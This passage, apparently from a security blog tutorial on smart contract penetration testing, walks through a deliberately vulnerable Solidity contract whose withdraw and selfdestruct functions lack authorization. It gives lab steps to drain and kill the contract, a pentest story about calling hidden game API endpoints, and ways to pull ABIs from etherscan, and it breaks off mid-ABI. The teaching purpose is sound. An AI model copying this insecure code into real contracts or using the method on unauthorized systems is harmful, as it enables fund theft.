class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l8 level1 lfo3; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <h3><a name="_Toc47892510">Example Walkthrough of No Authorization</a> <o:p></o:p></h3> <div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract noAuth {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div> <p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p> <p class="MsoNormal">The noAuth contract above is setup like a mini bank account, where you have the ability to deposit your funds and withdraw your funds. The funds are mapped to your msg.sender address on line 4.<span style="mso-spacerun: yes;"> </span>However, there are a few flaws with the way this contract is setup, both in authorization as well as business logic.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal">Let's go through the code and look about how it is setup.<span style="mso-spacerun: yes;"> </span>First, we have a deposit function on line 6 which accepts a value transfer via the "payable" keyword and applies the value to your current balance associated with your address.<span style="mso-spacerun: yes;"> </span>This function seems ok. <o:p></o:p></p> <p class="MsoNormal">Next, we have a withdraw function which receives an amount and transfers that amount to the address which calls the function. But. <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->The withdraw function never actually checks if you have a balance associated with your address</p><p class="MsoListParagraphCxSpLast" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It also doesn't validate if you have enough in your balance to send the amount you're asking for. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">That poses a few interesting questions:</p><p class="MsoListParagraphCxSpFirst"></p><ol style="text-align: left;"><li> Where is this function withdrawing funds from if you don't have a balance associated with your address?</li><li>Can you simply liquidate the funds from the account as a whole?</li></ol><p></p> <p class="MsoNormal" style="text-align: left;"><o:p> </o:p></p> <p class="MsoNormal">Is this a potential business logic / authorization issue? <o:p></o:p></p> <p class="MsoNormal">Finally, we have a kill function on line 14, which simply calls the built-in solidity self-destruct function and transfers all of the contract's funds to the caller of the function. This function will terminate the contracts functionality permanently and liquidate the contracts funds into the account address which ran the kill function. Much like the other two functions the kill function has no authorization, poses a risk to everyone's funds, and leaves the whole contract vulnerable to termination. <o:p></o:p></p> <p class="MsoNormal">Let's play around with this functionality and determine if this is true within the Remix UI. <o:p></o:p></p> <p class="MsoNormal">Action Steps: <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Deposit 10 Ether via the deposit function with the value field using account one.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Switch accounts to account two which has no funds and try to withdraw funds. Did it work? </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Now call the kill function from account two. What happened? </p><p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->Try to withdraw funds again with either account. What happened?<span style="mso-spacerun: yes;"> </span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p><p class="MsoNormal">Vulnerable Authorization Code WalkThrough: </p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/i6N7ns0FO90" width="320" youtube-src-id="i6N7ns0FO90"></iframe></div><br /><p class="MsoNormal"><br /></p><p class="MsoNormal"><o:p><br /></o:p></p> <h2><a name="_Toc47892511">Thinking about Smart Contracts as unpublished API's for DApps</a><o:p></o:p></h2> <p class="MsoNormal">There are multiple critical issues with the above smart contract:<o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It's not validating the logic that users need to have funds associated with their account to make withdrawals.<span style="mso-spacerun: yes;"> </span></p><p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It's not stopping a user from killing the contract and liquidating all of the funds of other accounts. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p> <h2>But I have UI mitigation's!! <o:p></o:p></h2> <p class="MsoNormal">What if a developer mitigates the issues via a Web or Mobile DApp simply by not providing a way for a user to execute the Kill functionality unless that user is the administrator in the DApp.<span style="mso-spacerun: yes;"> </span>Also, what if the UI manages your funds on the DApp's business logic. For example, restricting you from withdrawing funds if the address using the DApp does not have an appropriate balance.<span style="mso-spacerun: yes;"> </span>So, we are safe right? <o:p></o:p></p> <p class="MsoNormal">No, not really, much like an API we can call these directly without ever accessing the UI.<span style="mso-spacerun: yes;"> </span>By directly calling the public functions of the smart contract, we do not have UI or middleware restrictions. In the web app world this would be equivalent to Indirect object reference (IDOR).<span style="mso-spacerun: yes;"> </span>You often see this with video games or web applications where the application from the front end looks good with solid restrictions. But then you start doing some enumeration you realize that all of the functionality comes from an API. <o:p></o:p></p> <p class="MsoNormal">If you start poking around that API enumerating endpoints and fuzzing keywords you often will start finding API endpoints with interesting names that do things intended only for developers and administrators. This can lead to sensitive information disclosure or the ability to change and modify sensitive data. This is a very typical occurrence in web applications and Smart Contracts are no different. <o:p></o:p></p> <h2><a name="_Toc47892512">Case of the Video Game Heist</a><o:p></o:p></h2> <p class="MsoNormal">For example, I was performing a penetration test against a large video game development shop whose primary fear was the ability to bypass the in-app purchases functionality. <o:p></o:p></p> <p class="MsoNormal">I first started playing the video game and getting a feel for the game play and sequence of events. For example, the gameplay, how money transfers worked and how in-app purchases were processed. Everything seemed pretty good from the perspective of the mobile and web application UI parameters.<span style="mso-spacerun: yes;"> </span>I noted all of the calls were to external APIs and decided to take a look at those.<o:p></o:p></p> <p class="MsoNormal">I setup both a local TCP sniffer on the mobile application, a TCP proxy and captured all of the web requests using a web proxy while playing the game.<span style="mso-spacerun: yes;"> </span>When reviewing the output, I noticed some interesting calls which exposed a list of every API endpoint in the application.<o:p></o:p></p> <p class="MsoNormal">I started looking at the returned API endpoints and noted many functions which were not available to me from within the mobile application. Most notably for the client was functions named something similar to Get_Gold, and Get_All_Items. These endpoint names seemed interesting to me so I coded up a python loop which called the API for Get_Gold 100 times. At this point my Gold within the game increased 100-fold. Next, I called the Get_All_items endpoint and received every single item in the game for free. <o:p></o:p></p> <p class="MsoNormal">At this point I didn't even need the gold which I just stole as I owned every single item in the game.<span style="mso-spacerun: yes;"> </span>Apparently, these were created by developers and never removed from the API endpoints. Instead they were just restricted by not having the functionality available on the UI of the game. <o:p></o:p></p> <p class="MsoNormal">Yes, sometimes it is just that easy!!!<span style="mso-spacerun: yes;"> </span>But how do we do this with a smart contract? <o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <h2><a name="_Toc47892513">Enumerating functions in a contract</a><o:p></o:p></h2> <p class="MsoNormal">So how does this story relate to your Smart Contracts?<span style="mso-spacerun: yes;"> </span>Well we have a few options available to us when trying to enumerate public functionality so we can make direct calls.<span style="mso-spacerun: yes;"> </span>The most useful resources for enumerating these issues is both the sour<br />ce code and the Application Binary Interface (ABI). <o:p></o:p></p> <p class="MsoNormal">First, we can take a look at the source code, if you are performing the penetration test the client should provide the source code. If the client does not provide the source code, most Ethereum projects tend to be open source, so you should find a GitHub with the source code. A third option for retrieving the source code would be pulling it from etherscan.io at the address where the contract is deployed. This should be located under the contract tab.<span style="mso-spacerun: yes;"> </span>For example, try the following steps to illustrate this point:</p><p class="MsoListParagraph"><br />Go to etherscan.io and type chainlink into the search field at the top right and click the result shown below that pops up while your typing: </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKzpZ_zqtHlXy0hwg4Wp5aHyn4sK5i6GmxmRkwuPAng3Si67aMMcuBnurxy_O1Hl8Xd-rveJssbWTDVluCWjFA-iupW65m-bAkCw3ti4x6fYeGu5Qm7QqjGZBWVUkryn9kdsy6fw/s496/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="205" data-original-width="496" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKzpZ_zqtHlXy0hwg4Wp5aHyn4sK5i6GmxmRkwuPAng3Si67aMMcuBnurxy_O1Hl8Xd-rveJssbWTDVluCWjFA-iupW65m-bAkCw3ti4x6fYeGu5Qm7QqjGZBWVUkryn9kdsy6fw/w625-h258/2.png" width="625" /></a></div><br /><p class="MsoListParagraph"><br /><br />Next under the profile summary click the contract address: </p><p class="MsoListParagraph"></p><div style="text-align: center;"><img border="0" data-original-height="232" data-original-width="468" height="249" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaeuL_zRvpH2BqJeAIuw-CwZ96sPVwzJVfIutro08gshMhyphenhyphen0Tfg9nkFujNzdRPDGyt914e5lW0RUsyQBGDvb9P_7Hn40LS-IDb0mi5ZaztPQhdHv1ylOMdYejMKffC3JICrVmMLw/w500-h249/3.png" width="500" /></div><br />You will then see a contract tab on the page that loads. Click that:<p></p> <p class="MsoNormal"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_26" o:spid="_x0000_i1029" style="height: 83.25pt; mso-wrap-style: square; visibility: visible; width: 468pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image004.png"> </v:imagedata></v:shape></span><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuiUAa6vl5TxNfSB9IwWel6KuDH5jVMWJFKDZi1sNDc_p87li05cAys6rnTdmDVmmcbwvVR_QNQ0AdTMVuUatH67wJ71CLtmErpizJITn1qMt2MIPK8STHvb8jTU8AeCobX2eNmQ/s942/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="167" data-original-width="942" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuiUAa6vl5TxNfSB9IwWel6KuDH5jVMWJFKDZi1sNDc_p87li05cAys6rnTdmDVmmcbwvVR_QNQ0AdTMVuUatH67wJ71CLtmErpizJITn1qMt2MIPK8STHvb8jTU8AeCobX2eNmQ/w625-h111/4.png" width="625" /></a></div><br /><p></p> <p class="MsoListParagraph" style="mso-list: l4 level1 lfo11; text-indent: -0.25in;"><!--[if !supportLists]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->This will provide the source code for the application if it's available and it will provide the ABI: <o:p></o:p></p><p class="MsoListParagraph" style="mso-list: l4 level1 lfo11; text-indent: -0.25in;">ol</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiogcWsHbGTt3pI8RimT4CS5yB5SCq2Zk-vxNfGiAhsG3cQ1FBdRH8LVsUO-myeh0gfhfnUP6qZMGiiBw4JP7TBwlzCByTo5ml-OB3ajA2-WzzhhjqbUfIwOTNS1YDGzLymz1fdOw/s482/5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="482" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiogcWsHbGTt3pI8RimT4CS5yB5SCq2Zk-vxNfGiAhsG3cQ1FBdRH8LVsUO-myeh0gfhfnUP6qZMGiiBw4JP7TBwlzCByTo5ml-OB3ajA2-WzzhhjqbUfIwOTNS1YDGzLymz1fdOw/w625-h283/5.png" width="625" /></a></div><br /><p></p> <p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_27" o:spid="_x0000_i1028" style="height: 141pt; mso-wrap-style: square; visibility: visible; width: 312pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image005.png"> </v:imagedata></v:shape></span><o:p></o:p></p> <p class="MsoNormal">Secondly you will want the ABI for the contract in order to interact with it. The ABI is a JSON file which describes the functionality of the smart contract and how to interact with its functions.<span style="mso-spacerun: yes;"> </span>You can also generally obtain this exactly as you did above from the contract tab of etherscan.io shown below. <o:p></o:p></p> <p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_28" o:spid="_x0000_i1027" style="height: 135.75pt; mso-wrap-style: square; visibility: visible; width: 221.25pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image006.png"> </v:imagedata></v:shape></span><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBN4mNDj_SpVaqESyIX40g720bEzqqgoWMBGkdz-3ytuoZuD8UIZLd4nZen-zqQcrNkK-gzWjBz0tu75lDNyUWeEzoo8tZIruVfuTURkNcudMM55_7Ip-F6l0Ex_32TCzHgycaSQ/s427/6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="262" data-original-width="427" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBN4mNDj_SpVaqESyIX40g720bEzqqgoWMBGkdz-3ytuoZuD8UIZLd4nZen-zqQcrNkK-gzWjBz0tu75lDNyUWeEzoo8tZIruVfuTURkNcudMM55_7Ip-F6l0Ex_32TCzHgycaSQ/w500-h306/6.png" width="500" /></a></div><br /><p></p> <p class="MsoNormal">Another option if you were provided a contract from the client is to deploy a contract to Remix and grab the ABI that is created. You can grab this in Remix under the compiler section under compiler details. Just click the ABI text and it will copy it to your clipboard.<o:p></o:p></p> <p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_21" o:spid="_x0000_i1026" style="height: 205.5pt; mso-wrap-style: square; visibility: visible; width: 192pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image007.png"> </v:imagedata></v:shape></span><o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLix7o3g8y35eplY9wZnhq0dHB-qUoTyGPfrL5j-bhqMioPVv__v8_CdXUA85jIRPMrSI7ZFBGH9IvOhdvGDZuqDfF5JQ2-yj4W42670B6x-rmPeGD5m35O1QALkKYqrbZSDWDA/s329/7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="329" data-original-width="307" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLix7o3g8y35eplY9wZnhq0dHB-qUoTyGPfrL5j-bhqMioPVv__v8_CdXUA85jIRPMrSI7ZFBGH9IvOhdvGDZuqDfF5JQ2-yj4W42670B6x-rmPeGD5m35O1QALkKYqrbZSDWDA/s320/7.png" /></a></div><br /><p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">An ABI file for our noAuth contract will look something like the following Snippet.<o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> [{<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs": [],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name": "deposit",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs": [],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability": "payable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type": "function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> },<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs": [],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name": "kill",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs": [],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability": "nonpayable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type": "function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> },<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs": [<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; 